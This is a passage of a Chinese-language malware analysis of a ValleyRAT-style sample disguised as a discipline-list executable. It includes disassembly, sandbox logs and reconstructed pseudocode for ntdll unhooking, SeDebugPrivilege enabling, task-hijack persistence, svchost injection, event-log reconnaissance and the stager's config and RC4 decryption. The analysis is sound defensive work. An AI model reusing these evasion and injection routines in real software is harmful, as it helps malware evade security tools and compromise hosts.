其他vss IoCompletion PostQueuedCompletionStatus ZwSetIoCompletion NtQueryObject NtQuerySystemInformation ExitProcess GetModuleFileNameW GetProcessHeap HeapReAlloc CloseHandle GetLastError

三处字符串组合特别值得注意:

EventID=4624 + LogonType —— 4624 是登录成功事件。配合 LogonType 字段筛选,可以精确识别交互式登录会话(LogonType 2/10)。这是攻击者定位可用凭据的侦察手段,而非随机的日志遍历。

EventID=1102 —— 审计日志被清除事件。查询它的用途是确认自身行为是否被记录,或判断环境中是否有其他攻击者在清理痕迹。

C:\Windows\System32\ntdll.dll + .text —— 这两个字符串在同一个函数中配合使用,构成第六章详述的 ntdll 还原逻辑。

三、字符串保护机制小结

到这里,外层 PE 的保护设计已经完整:

层机制效果
1字符串藏在 RT_MESSAGETABLE 资源内绕过基于文件尾附加数据的静态扫描
2密钥索引表(91 项,12 字节/项)字符串不能用固定密钥批量解出,需逐条查表
3字节码 VM 解释器(174 分支)解密过程无法静态阅读,必须实际执行
4操作码双重 XOR(0x91e07a2c4b18d6f3 与 0x5C)跳转表本身也是加密的

这四层叠加的实际成本是:分析者必须理解一个 1713 字节的解释器,才能拿到 76 条字符串。这些字符串是理解样本全部行为的起点 —— 提取它们之后,后续分析才具备方向。

四、外层 PE 的静态能力

4.1 反 EDR:从磁盘还原 ntdll

导入表里的 GetSystemDirectoryW + CreateFileMappingW + MapViewOfFile + VirtualProtect 组合,在 fcn.140009b60 中汇合为一段完整的 ntdll unhooking 实现。

该函数首先解密模块名并取得内存中 ntdll 的基址:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ timeout 600 r2 -q -e scr.color=0 -c 'aaa; s 0x140009b60; pdf' extract/b7fcd809/sample.exe | head -22
│           0x140009b60      48894c2408     mov qword [var_8h], rcx    ; arg1
│           0x140009b67      4881ec5803..   sub rsp, 0x358
│           0x140009b82      ba636c2aa6     mov edx, 0xa62a6c63
│           0x140009b87      488d8c24f8..   lea rcx, [var_f8h]
│           0x140009b8f      e8ec9cffff     call fcn.140003880         ; 解密 -> "ntdll.dll"
│           0x140009ba9      488b8c24b0..   mov rcx, qword [lpModuleName]
│           0x140009bb1      ff1589f50000   call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
│           0x140009bb7      4889442468     mov qword [hModule], rax
│           0x140009bcb      ff155ff50000   call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
│           0x140009bd1      41b918000000   mov r9d, 0x18              ; 24
│           0x140009bd7      4c8d842498..   lea r8, [lpmodinfo]
│           0x140009be4      488bc8         mov rcx, rax
│           0x140009be7      e80db60000     call sub.KERNEL32.dll_K32GetModuleInformation
│           0x140009bec      488b842498..   mov rax, qword [lpmodinfo]
│           0x140009bf4      4889442458     mov qword [lpAddress], rax

关键调用是 K32GetModuleInformation,取回该模块的 lpBaseOfDll——内存中 ntdll 的真实基址。

接着从磁盘打开干净的副本:

│           0x140009c0d      ba04010000     mov edx, 0x104             ; 260
│           0x140009c12      488d8c2440..   lea rcx, [lpFileName]
│           0x140009c1a      ff1560f40000   call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
│           0x140009c2b      ba3d181e95     mov edx, 0x951e183d
│           0x140009c38      e8439cffff     call fcn.140003880         ; 解密 -> "\ntdll.dll"
│           0x140009c62      ff1560f40000   call qword [sym.imp.KERNEL32.dll_lstrcatW]
│           0x140009c8a      ba00000080     mov edx, 0x80000000        ; GENERIC_READ
│           0x140009c97      ff158bf40000   call qword [sym.imp.KERNEL32.dll_CreateFileW]
│           0x140009cc5      41b802000001   mov r8d, 0x1000002         ; PAGE_READONLY|SEC_IMAGE
│           0x140009cd2      ff15b8f30000   call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
│           0x140009cfb      ba04000000     mov edx, 4                 ; FILE_MAP_READ
│           0x140009d05      ff158df30000   call qword [sym.imp.KERNEL32.dll_MapViewOfFile]

路径拼接为 GetSystemDirectoryW() + "\ntdll.dll",随后用 CreateFileMappingW(..., SEC_IMAGE) 将磁盘副本按映像方式映射,MapViewOfFile(FILE_MAP_READ) 获得只读视图。

最后逐节区覆盖:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ timeout 600 r2 -q -e scr.color=0 -c 'aaa; s 0x140009d25; pd 40' extract/b7fcd809/sample.exe | head -34
│           0x140009d3a      4863403c       movsxd rax, dword [rax + 0x3c]        ; e_lfanew
│           0x140009d46      488bc1         mov rax, rcx
│           0x140009d50      6689442440     mov word [var_40h], ax               ; 节区索引 = 0
│           0x140009d64      0fb7442440     movzx eax, word [var_40h]
│           0x140009d6e      0fb74906       movzx ecx, word [rcx + 6]            ; NumberOfSections
│           0x140009d72      3bc1           cmp eax, ecx
│           0x140009d74      0f8d1f010000   jge 0x140009e99                       ; 遍历结束
│           0x140009d7f      0fb74014       movzx eax, word [rax + 0x14]          ; SizeOfOptionalHeader
│           0x140009d88      488d440118     lea rax, [rcx + rax + 0x18]           ; &节区表[i]
│           0x140009d92      486bc928       imul rcx, rcx, 0x28                   ; 每项 40 字节
│           0x140009d99      4889442448     mov qword [var_48h], rax
│           0x140009d9e      bac22ea888     mov edx, 0x88a82ec2
│           0x140009dab      e8d09affff     call fcn.140003880                    ; 解密 -> ".text"
│           0x140009dd5      e866930000     call fcn.140013140                    ; 节区名比对

与解密字符串 .text(密钥 0x88a82ec2)比对后,对匹配节区执行三步操作:

│           0x140009e0a      41b840000000   mov r8d, 0x40              ; PAGE_EXECUTE_READWRITE
│           0x140009e12      ff1570f20000   call qword [sym.imp.KERNEL32.dll_VirtualProtect]
│           0x140009e51      448bc0         mov r8d, eax               ; 长度 = SizeOfRawData
│           0x140009e54      488bd1         mov rdx, rcx               ; 源 = 磁盘映射副本
│           0x140009e5f      488bc8         mov rcx, rax               ; 目标 = 内存中 ntdll
│           0x140009e62      e8b9910000     call fcn.140013020         ; 拷贝
│           0x140009e87      448b442450     mov r8d, dword [lpflOldProtect]
│           0x140009e8e      ff15f4f10000   call qword [sym.imp.KERNEL32.dll_VirtualProtect]

逻辑归纳:

ntdll      = GetModuleHandleW("ntdll.dll");
K32GetModuleInformation(GetCurrentProcess(), ntdll, &info, 0x18);
base       = info.lpBaseOfDll;

GetSystemDirectoryW(path, 260);
lstrcatW(path, "\\ntdll.dll");
file       = CreateFileW(path, GENERIC_READ, ...);
mapping    = CreateFileMappingW(file, NULL, SEC_IMAGE | PAGE_READONLY, 0, 0, NULL);
cleanBase  = MapViewOfFile(mapping, FILE_MAP_READ, 0, 0, 0);

ntHdr = base + (int32_t)*(uint32_t*)(base + 0x3C);
for (i = 0; i < ntHdr->NumberOfSections; i++) {
    sec = &section[i];
    if (stricmp(sec->Name, ".text") == 0) {
        VirtualProtect(base + sec->VirtualAddress, sec->SizeOfRawData, PAGE_EXECUTE_READWRITE, &old);
        memcpy(base + sec->VirtualAddress, cleanBase + sec->VirtualAddress, sec->SizeOfRawData);
        VirtualProtect(base + sec->VirtualAddress, sec->SizeOfRawData, old, &tmp);
    }
}

这一步的作用是消除 EDR 的用户态挂钩。 主流 EDR 通过在 ntdll 的 API 入口写入 jmp 跳转指令来拦截系统调用。样本从磁盘读取未被修改的 ntdll,用它的 .text 覆盖内存中已被挂钩的版本,使后续调用 NtAllocateVirtualMemory、NtWriteVirtualMemory、NtOpenProcess 等原生 API 时不再经过 EDR 的拦截代码。

配套证据:解密出的字符串中同时存在 NtAllocateVirtualMemory、NtWriteVirtualMemory、NtOpenProcess —— 这三个都是注入流程必需的,且都是典型的被挂钩目标。先用干净 ntdll 覆盖,再调用它们,形成完整链条。

4.2 环境检测

解密出的虚拟机相关字符串(virtual vmware vbox hyper-v WDDM SOFTWARE\Microsoft\Hyper-V)配合导入的 D3D11CreateDevice 与 EnumDisplayDevicesW,构成多路环境检测。

除注册表与显示适配器探测外,还有两处基于系统度量的检查。磁盘容量检测在 fcn.140006de0:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ timeout 600 r2 -q -e scr.color=0 -c 'aaa; s 0x140006de0; pdf' extract/b7fcd809/sample.exe | head -30
│           0x140006dee      ba9469823f     mov edx, 0x3f826994
│           0x140006df8      e883caffff     call fcn.140003880         ; 解密 -> "C:\\"
│           0x140006e1e      488b4c2450     mov rcx, qword [lpDirectoryName]
│           0x140006e23      ff15f7220100   call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
│           0x140006e34      488b442428     mov rax, qword [lpTotalNumberOfBytes]
│           0x140006e39      f2480f2ac0     cvtsi2sd xmm0, rax
│           0x140006e4b      f20f5e052d..   divsd xmm0, qword [0x14001e080]

0x14001e080 的值是 1073741824.0(1 GiB)。样本把磁盘总容量换算为 GiB 后与阈值比较 —— 沙箱与分析虚拟机通常分配较小的固定磁盘,这是常见的环境判别指标。

执行时长阈值在 0x140009337:

│           0x14000932e      f20f108424..   movsd xmm0, qword [var_158h]
│           0x140009337      660f2f0539..   comisd xmm0, xmmword [0x14001e078]
│       ┌─< 0x14000933f      7655           jbe 0x140009396

0x14001e078 的值是 50.0。该处比较的是进程已运行时长:若不足 50 秒,样本重置自身状态而非继续执行。沙箱通常只观察一到两分钟便结束分析,设置 50 秒阈值可以过滤掉大量自动化分析。

这个阈值的存在恰好解释了第九章中沙箱观测到的一个现象 —— 报告显示样本在 195 秒内未发起任何网络连接。结合该阈值,可以判断样本在沙箱中确实执行到了检测环节,但未通过(或被其他检测项拦截)从而未进入下一阶段。

4.3 与 DeviceIoControl 相关的驱动探测

DeviceIoControl 在 fcn.140008f00 中被调用,用于探测环境中是否存在特定的监控驱动:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ timeout 600 r2 -q -e scr.color=0 -c 'aaa; s 0x140008f00; pdf' extract/b7fcd809/sample.exe | head -32
│           0x140008f00      48894c2408     mov qword [var_8h], rcx    ; arg1
│           0x140008f05      57             push rdi
│           0x140008f06      4881ec9000..   sub rsp, 0x90
│           0x140008f0d      488b4428..     mov rax, qword [rbp+0x10]
│           0x140008f14      488b4c2458     mov rcx, qword [rbp-0x98]
│           0x140008f1b      488b11         mov rdx, qword [rcx]
│           0x140008f1e      0fb75208       movzx edx, word [rdx+0x8]
│           0x140008f22      488bca         mov rcx, rdx               ; LPCWSTR lpFileName
│           0x140008f25      ff1525000000   call qword [sym.imp.KERNEL32.dll_CreateFileW]

函数打开一个设备路径,然后发送 IOCTL 读取数据。

│           0x140008f52      4c8d442458     lea r8, [lpBytesReturned]
│           0x140008f57      488b4428..     mov rax, qword [rbp+0x10]
│           0x140008f5e      488b5428..     mov rdx, qword [rbp+0x18]
│           0x140008f65      0fb75208       movzx edx, word [rdx+0x8]  ; sizeof(sockaddr)

参数中包含 sizeof(sockaddr) —— 说明设备交互的数据结构与网络栈相关。这通常用于探测网络过滤驱动(NDIS 中间层驱动)的存在,据此判断是否处于被监控的网络环境。

4.4 反调试

IsDebuggerPresent 有三处调用点(0x1400163D7、0x140016889、0x140016C53),均位于 C++ 异常处理路径中,属常规检查:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x1400163c7 --stop-address=0x1400163e6 extract/b7fcd809/sample.exe
   1400163c7:	mov    DWORD PTR [rsp+0x50],0x40000015
   1400163cf:	mov    DWORD PTR [rsp+0x54],0x1
   1400163d7:	call   QWORD PTR [rip+0x2d73]        # 0x140019150
   1400163dd:	cmp    eax,0x1

0x40000015 是 STATUS_FATAL_APP_EXIT,属 CRT 内部的状态码。

4.5 进程枚举

CreateToolhelp32Snapshot + Process32FirstW + Process32NextW 组合(三处字符串均已解密)用于遍历进程列表。结合沙箱报告中 Process32NextW 被调用 242 次这一数字,说明样本对该 API 做了高强度使用 —— 这与它在对比进程名以查找分析工具的行为一致。

五、运行时行为

5.1 自我移动与删除

沙箱报告记录的文件操作序列:

file_moved:   ["C:\\Users\\Administrator\\Desktop\\2026年第2季度内职人员违纪名单信息名单公示.exe1",
                "C:\\Users\\Administrator\\AppData\\Local\\Temp\\tmp3C00.tmp"]
file_created: "C:\\Users\\Administrator\\AppData\\Local\\Temp\\tmp3C00.tmp"
file_deleted: "C:\\Users\\Administrator\\AppData\\Local\\Temp\\tmp3C00.tmp"

行为链为:把自身从桌面移动到 %TEMP% 并改名为 tmp3C00.tmp,随后删除。

支撑这一点的是解密出的字符串 GetTempPathW GetTempFileNameW MoveFileW MoveFileExW DeleteFileW tmp。

需要说明的是,file_created 与 file_deleted 记录的是同一个路径 tmp3C00.tmp,而 file_moved 显示源是桌面文件。综合三条记录,实际过程是"移动 + 删除原文件",而非"创建副本 + 删除副本"。落在 %TEMP% 的文件是样本自身的完整副本,其 SHA256 与原始样本一致(b7fcd809...)。

这个设计的目的:用户点击的是桌面上的"违纪名单公示.exe1",若样本留在原位置,用户(或安全软件)容易发现异常。移动到 %TEMP% 并改名为随机 tmp 前缀的文件后,源文件在桌面上消失,符合"程序执行后关闭"的表象。

5.2 持久化:劫持系统计划任务

file_written:   "C:\\Windows\\System32\\Tasks\\Microsoft\\Windows\\SoftwareProtectionPlatform\\SvcRestartTask"
regkey_written: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{A6432082-89BD-434D-9C61-D7FE6D91CCB9}\\Schema"
                "...\\SecurityDescriptor"
                "...\\Description"
                "...\\Hash"
                "...\\URI"
                "...\\Triggers"

样本覆盖了 Windows 软件保护平台(SoftwareProtectionPlatform)原有的计划任务 SvcRestartTask,而非新建一个任务。

这一点值得展开。SvcRestartTask 是 Windows 激活服务自带的计划任务,用于在激活相关服务异常时自动重启。它的存在是正常的、由系统签名的,因此:

  • 安全工具如果只检查"是否存在可疑计划任务",不会将其标记为异常
  • 该任务在 Tasks 目录下的文件由系统创建,样本只是覆盖内容
  • 任务路径位于 Microsoft\Windows\SoftwareProtectionPlatform\ 这一系统目录下

配套的解密字符串是 Schedule(任务计划服务名)、OpenSCManagerW OpenServiceW StartServiceW QueryServiceStatus CloseServiceHandle EnumServicesStatusExW(服务操作全套)以及 bdservicehost.exe(服务宿主进程名,伪装成百度相关服务)。

5.3 注入 svchost.exe

沙箱报告的关键记录:

target_path:           C:\Windows\System32\svchost.exe
target_process:        svchost.exe
target_pid:            1492
detected_memory_type:  Injected Shellcode/Data

目标进程的命令行是:

C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule

-s Schedule 表示这是任务计划服务的宿主进程。

选择注入 svchost.exe -s Schedule 有两个层面的意图:

第一,进程身份可信。 svchost.exe 是 Windows 的系统进程,其网络连接与内存活动在大多数监控规则中权重较低。

第二,与持久化机制呼应。 样本劫持了 SvcRestartTask(任务计划服务管理的任务),又注入了任务计划服务的宿主进程。两者结合,使注入的代码在系统视角下表现为"任务计划服务的正常组件"。

注入的技术细节可从沙箱记录的 API 调用推断:

injection_write_memory:
  {"ioc": "Process 6704 injected into non-child 1492"}
  WriteProcessMemory(
      process_identifier = 1492,
      base_address       = 0x0000022743f00000,
      buffer             = <58 字节零 + 3e432702>
  )

Process 6704 injected into non-child 1492 —— 6704 是样本自身,1492 是 svchost,二者无父子关系,属典型的跨进程注入。

解密字符串中的注入工具集与此完全对应:NtAllocateVirtualMemory NtWriteVirtualMemory NtOpenProcess VirtualAllocEx WriteProcessMemory ReadProcessMemory VirtualQueryEx DuplicateHandle GetProcessId。

5.4 提权尝试

ShellExecuteExW(
    filepath  = C:\\Users\\Administrator\\Desktop\\2026年第2季度内职人员违纪名单信息公示.exe1,
    parameters = "",
    show_type = 0                    /* SW_HIDE:隐藏窗口 */
)
last_error = 1223                    /* ERROR_CANCELLED */

show_type = 0 对应 SW_HIDE,即以隐藏窗口方式启动 —— 用户不会看到任何界面。

last_error = 1223 是 ERROR_CANCELLED,指示 UAC 提权被拒绝。这与解密字符串 runas(ShellExecuteExW 的 lpVerb 参数值,用于请求提权)和 IsUserAnAdmin(提权前判定当前权限)相互印证。

链条是:先检查是否为管理员(IsUserAnAdmin),若不是则通过 ShellExecuteExW("runas", ...) 请求提权;沙箱环境中 UAC 被拒绝,因此该步失败。

5.5 凭据相关侦察

解密字符串中存在 SeDebugPrivilege OpenProcessToken LookupPrivilegeValueW AdjustTokenPrivileges,这是开启调试权限的标准三步:

OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValueW(NULL, "SeDebugPrivilege", &luid);
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

SeDebugPrivilege 允许进程打开并读写其他任意进程的内存。结合同样出现在字符串中的 ReadProcessMemory 与进程枚举 API,可以判断样本具备读取其他进程内存的能力。这是窃取凭据(如从 lsass 读取)的前置条件。

同一组字符串中的 NtOpenProcess(原生 API)而非 OpenProcess(Win32 API)值得注意 —— 配合第四章的 ntdll 还原,可以判断样本倾向于使用原生 API 以规避用户态挂钩。

5.6 DirectDraw 的使用

沙箱报告记录:

dll_loaded:       ddraw.dll
regkey_opened:    HKLM\\SOFTWARE\\Microsoft\\DirectDraw\\Compatibility\\StarCraft115
                  HKLM\\SOFTWARE\\Microsoft\\DirectDraw\\Compatibility\\StarCraftDemo
                  HKLM\\System\\CurrentControlSet\\Control\\GraphicsDrivers
mutex:            Local\\DDrawDriverObjectListMutex
                  Local\\__DDrawCheckExclMode__
                  Local\\__DDrawExclMode__
                  Local\\DDrawWindowListMutex

解密字符串中有 ddraw.dll 与 DirectDrawCreate。

DirectDraw 是 Windows 95/98 时代的 2D 图形接口,在 Windows 10 上早已过时,正常软件几乎不再使用。样本加载它并创建多个 DDraw 互斥体,行为特征明显。

这些互斥体的用途是环境检测。 Local\__DDrawExclMode__ 与 Local\__DDrawCheckExclMode__ 是 DirectDraw 在独占显示模式下的标准互斥体。分析沙箱与虚拟机环境通常不提供真实的显卡独占模式支持,或者由软件渲染(d3d10warp.dll,沙箱记录中确实加载了该 DLL)替代。样本通过检查这些互斥体是否可创建、DirectDraw 对象是否初始化成功,间接判断运行环境。

读 SOFTWARE\Microsoft\DirectDraw\Compatibility\StarCraft115 这一注册表项也印证了此判断 —— 这是 DirectDraw 为特定老游戏保存兼容性配置的位置。样本读取它是为了解 DirectDraw 子系统是否被真实配置过。

样本的家族特征也体现在这里。 银狐(ValleyRAT)家族长期使用 DirectDraw 作为环境检测与环境指纹手段,这是该家族在多个版本中保持的技术选择。

5.7 事件日志侦察

解密字符串给出完整的日志查询语句:

*[System[EventID=4624]]
*[System[EventID=1102]]
Event/EventData/Data[@Name='LogonType']
Security

查询语法 *[System[EventID=...]] 是 Windows 事件日志的 XPath 过滤表达式,对应 EvtQuery 的 Path 参数。Event/EventData/Data[@Name='LogonType'] 则是 EvtCreateRenderContext 用于提取特定字段的表达式。

QueryList 结构使用 EvtQuery EvtNext EvtRender(均已在导入表中确认):

hQuery = EvtQuery(NULL, "Security", "*[System[EventID=4624]]",
                  EvtQueryChannelPath | EvtQueryTolerateQueryErrors);
while (EvtNext(hQuery, 1, &hEvent, ...)) {
    EvtRender(NULL, hEvent, EvtRenderEventXml, bufSize, buf, &used, &count);
    /* 解析 LogonType 字段 */
    EvtClose(hEvent);
}

4624 与 LogonType 的组合用途:EventID 4624 是"登录成功",LogonType 字段区分登录方式:

LogonType含义
2交互式(本地键盘登录)
3网络(如 SMB 访问)
4批处理(计划任务)
5服务
10远程交互(RDP)

筛选 LogonType 2 和 10 可以定位有交互式会话的账户——这类账户更可能持有可用凭据,也更可能处于活跃状态。攻击者据此判断哪些主机值得作为后续目标。

1102 的用途不同:该事件表示"审计日志被清除"。查询它的目的是判断环境中是否已有其他攻击活动,或确认自身的痕迹清理是否留下记录。

六、C2 通信模块(注入的 stager)

6.1 Stager 的提取与结构

沙箱内存转储给出了这段代码。目录名即为其 SHA256:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ S=extract/b7fcd809_run/win10_1903_x64_2016_b7fcd80902282a99b48b724884f7c3f98461c4bd63c5b051ae427e5579b046fb_1789617732.memdump/6d2084ff4de5abea3af9ce0e011698bf902af0d1b37854d73a907b16fab6d872/6704_5297883391220482026
└─$ wc -c "$S"
3213

└─$ xxd "$S" | head -3
00000000: 4883 ec28 e83b 0800 0090 4883 c428 c3cc  H..(.;....H..(..
00000010: 488b c448 8958 0848 8968 1048 8970 1848  H..H.X.H.h.H.p.H
00000020: 8978 2041 5441 5765 488b 0425 6000 0000  .x ATAWeH..%`...

开头是一个标准的位置无关存根:

00000000:  sub  rsp, 0x28
00000004:  call 0x844            ; 进入主函数
00000009:  nop
0000000a:  add  rsp, 0x28
0000000d:  ret

0x844 即主函数入口。

模块的函数布局:

偏移功能
0x000入口存根(call 0x844)
0x010PEB 遍历 + ROR13 哈希 API 解析
0x124RC4 密钥调度(KSA)
0x23CRC4 流生成(PRGA)
0x3A0RC4 封装(内置密钥)
0x404配置块定位(字节和校验)
0x508WinINet 通信主函数
0x844主函数

6.2 API 解析采用 ROR13 求和比对

0x010 处的解析器遍历 PEB 模块链表并匹配导出名。其哈希循环:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -D -b binary -m i386:x86-64 -M intel --no-show-raw-insn --start-address=0x63 --stop-address=0xca "$S" | tail -14
      63:	mov    r10d,ecx
      69:	xor    edi,edi                        ; 模块名哈希初值 = 0
      6d:	ror    edi,0xd
      70:	movsx  ecx,r11b
      74:	cmp    r11b,0x61
      78:	lea    eax,[rcx-0x20]                 ; 小写转大写
      7b:	cmovl  eax,ecx
      7e:	add    edi,eax
      80:	inc    rdx
      83:	mov    r11b,BYTE PTR [rdx]
      89:	jne    0x6d
      9d:	mov    ebx,DWORD PTR [rdx]
      a2:	xor    esi,esi                        ; 函数名哈希初值 = 0
      a6:	ror    esi,0xd
      b7:	add    esi,eax
      c4:	lea    eax,[rsi+rdi*1]                 ; ★ 函数哈希 + 模块哈希
      c7:	cmp    r12d,eax                        ; 与目标比对

算法为:

module_hash = ror13(module_name, fold_case = TRUE);
for (each export) {
    func_hash = ror13(export_name, fold_case = TRUE);
    if (func_hash + module_hash == target) return address;
}

与标准 ROR13 的差异在于比对值是两个哈希之和。 标准 ROR13(Metasploit block_api 等工具使用)只比对函数名哈希:

if (ror13(export_name) == target) return address;

求和比对带来一个实际后果:现成的 ROR13 哈希表无法直接使用。分析者必须遍历模块导出名自行重建哈希。这构成一道分析门槛 —— 它不依赖密码学强度,而依赖"与通行工具约定不同"。

破解这组哈希需要遍历模块与导出名。以下为结果:

哈希解析出的 API
0x9e5a8833kernel32.dll!VirtualAlloc
0xd6d48e5akernel32.dll!CreateThread
0xca8e9498kernel32.dll!WaitForSingleObject
0xc9f93d32ntdll.dll!memcpy
0xe3c6dacawininet.dll!InternetOpenW
0x9a2800afwininet.dll!InternetConnectW
0x73fa8f41wininet.dll!HttpOpenRequestW
0xaa02d73ewininet.dll!HttpSendRequestW
0x76577d47wininet.dll!InternetCloseHandle
0x1bbf63f7wininet.dll!InternetReadFile
0x08590ba7kernel32.dll!Sleep

wininet.dll 本身通过 LoadLibraryA("wininet.dll") 加载 —— 主函数中的字符串构造印证了这一点:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -D -b binary -m i386:x86-64 -M intel --no-show-raw-insn --start-address=0x535 --stop-address=0x565 "$S" | tail -12
     535:	mov    DWORD PTR [rsp+0x48],0x696e6977     ; "wini"
     542:	mov    DWORD PTR [rsp+0x4c],0x2e74656e     ; "net."
     54d:	mov    DWORD PTR [rsp+0x50],0x6c6c64       ; "dll"
     55c:	lea    rcx,[rsp+0x48]
     561:	call   rax                                ; LoadLibraryA("wininet.dll")

6.3 配置块的定位与结构

主函数首先调用 0x404 定位配置。该函数不是用固定魔数,而是用字节和校验:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -D -b binary -m i386:x86-64 -M intel --no-show-raw-insn --start-address=0x404 --stop-address=0x4f0 "$S" | tail -40
     404:	mov    DWORD PTR [rsp+0x8],ecx              ; 校验和参数
     414:	mov    BYTE PTR [rsp+0x20],0xfe
     419:	mov    BYTE PTR [rsp+0x21],0xfa
     41e:	mov    BYTE PTR [rsp+0x22],0xff
     423:	call   0x11c                                 ; 取基准地址
     441:	cmp    DWORD PTR [rsp+0x28],0x1000           ; 扫描 4096 字节
     45d:	movzx  eax,BYTE PTR [rcx+rax*1]
     461:	cmp    eax,0xfe
     46c:	movzx  eax,BYTE PTR [rcx+rax*1]
     47e:	cmp    eax,0xfa
     48e:	movzx  eax,BYTE PTR [rcx+rax*1]
     497:	cmp    eax,0xff
     4ba:	cmp    DWORD PTR [rsp+0x24],0x8              ; 累加 8 字节
     4cf:	mov    ecx,DWORD PTR [rsp+0x2c]
     4d3:	add    ecx,eax
     4dd:	mov    eax,DWORD PTR [rsp+0x50]             ; 目标校验和
     4e1:	cmp    DWORD PTR [rsp+0x2c],eax
     4e7:	mov    rax,QWORD PTR [rsp+0x38]             ; 命中则返回

逻辑为:

void *find_config(uint32_t checksum) {
    /* 特征: p[0]==0xFE && p[1]==0xFA && p[7]==0xFF */
    p = get_base();
    for (i = 0; i < 0x1000; i++, p++) {
        if (p[0] == 0xFE && p[1] == 0xFA && p[7] == 0xFF) {
            sum = 0;
            for (k = 0; k < 8; k++) sum += p[k];
            if (sum == checksum) return p;
        }
    }
    return NULL;
}

主函数以 checksum = 0x708 调用它。在模块内查找满足该条件的 8 字节序列:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
d=open('extract/b7fcd809_run/win10_1903_x64_2016_b7fcd80902282a99b48b724884f7c3f98461c4bd63c5b051ae427e5579b046fb_1789617732.memdump/6d2084ff4de5abea3af9ce0e011698bf902af0d1b37854d73a907b16fab6d872/6704_5297883391220482026','rb').read()
for i in range(len(d)-8):
    if d[i]==0xfe and d[i+1]==0xfa and d[i+7]==0xff:
        s=sum(d[i:i+8])
        print(f'  +{i:#05x}  {d[i:i+8].hex()}  字节和={s} ({s:#x})  匹配={s==0x708}')
"
  +0x00b34  fefacbf9bfe9a5ff  字节和=1800 (0x708)  匹配=True

唯一命中 +0xB34。 配置块结构由此确定:

偏移字节含义
+0xB34FE FA CB F9 BF E9 A5 FF8 字节标识,字节和 0x708
+0xB3C4D 01 00 00压缩后长度 0x14D = 333
+0xB40333 字节密文

0xB40 + 333 = 0xC8D,精确等于模块长度 —— 配置块用满模块尾部,无冗余。

用字节和而非固定魔数做校验,是为了让特征本身不可硬编码搜索。 若使用固定 8 字节魔数,分析者可以直接在文件中搜索该序列。改用"三个固定字节 + 字节和"的条件后,必须实际执行定位函数才能找到配置块。

6.4 RC4 变体

主函数中的解密调用:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -D -b binary -m i386:x86-64 -M intel --no-show-raw-insn --start-address=0x89f --stop-address=0x935 "$S" | tail -22
     89f:	call   0x404                        ; 定位配置块 -> rbx
     8b3:	lea    r13d,[r12+0x4]
     8be:	lea    r15d,[r12+0x8]                ; r15d = 8
     8cb:	call   r14                          ; VirtualAlloc(0, 8, RWX)
     8ce:	mov    rsi,rax                      ; 密钥缓冲
     8d9:	mov    rdx,rbx
     8df:	call   rdi                          ; memcpy(key, rbx, 8)
     8e4:	mov    DWORD PTR [rbp+0x110],r12d
     8eb:	lea    rdx,[rbx+0x8]
     8f6:	call   rdi                          ; memcpy(&len, rbx+8, 4)
     8f8:	mov    r8,r15                        ; arg3 = 8(密钥长度)
     8fb:	lea    rcx,[rbp-0x50]                ; arg1 = S 盒
     8ff:	mov    rdx,rsi                       ; arg2 = 密钥
     902:	call   0x124                        ; RC4 KSA
     907:	mov    r8d,DWORD PTR [rbp+0x110]      ; arg3 = 333
     90e:	lea    rdx,[rbx+0xc]                  ; arg2 = rbx+0xC(密文)
     912:	lea    rcx,[rbp-0x50]                 ; arg1 = S 盒
     916:	call   0x23c                        ; RC4 PRGA
     926:	mov    edx,0xa94                    ; 2708 字节
     92d:	call   r14                          ; VirtualAlloc(0, 0xA94, RWX)

即:

block = find_config(0x708);
memcpy(key,   block + 0x00, 8);       /* 密钥 = 8 字节标识 */
memcpy(&len,  block + 0x08, 4);       /* 长度 = 333 */
rc4_ksa (sbox, key, 8);
rc4_prga(sbox, block + 0x0C, len);    /* 原地解密 */

0xA94 = 2708 —— 这是解压后的预期长度,代码在解密前就已分配好,说明该长度是设计时确定的。

PRGA 的实现存在一个关键差异。 标准 RC4 的密钥流取值为 S[(S[i] + S[j]) & 0xFF],而此处取值为 S[i] XOR S[j]:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -D -b binary -m i386:x86-64 -M intel --no-show-raw-insn --start-address=0x335 --stop-address=0x365 "$S" | tail -13
     335:	mov    rax,QWORD PTR [rsp+0x20]
     33a:	movzx  eax,BYTE PTR [rax+0x100]        ; i = S[0x100]
     346:	movzx  eax,BYTE PTR [rcx+rax*1]        ; S[i]
     34f:	movzx  ecx,BYTE PTR [rcx+0x101]        ; j = S[0x101]
     35b:	movzx  ecx,BYTE PTR [rdx+rcx*1]        ; S[j]
     35f:	xor    eax,ecx                          ; ★ S[i] XOR S[j]

没有 S[(S[i]+S[j]) & 0xFF] 这一步查表。

这个差异的后果可以用数据说明。取配置块自身的密钥与密文,分别用两种实现解密:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
sc=open('extract/b7fcd809_run/win10_1903_x64_2016_b7fcd80902282a99b48b724884f7c3f98461c4bd63c5b051ae427e5579b046fb_1789617732.memdump/6d2084ff4de5abea3af9ce0e011698bf902af0d1b37854d73a907b16fab6d872/6704_5297883391220482026','rb').read()
key=sc[0xb34:0xb34+8]; ct=sc[0xb40:0xb40+0x14d]
def ksa(k):
    S=list(range(256)); j=0
    for i in range(256):
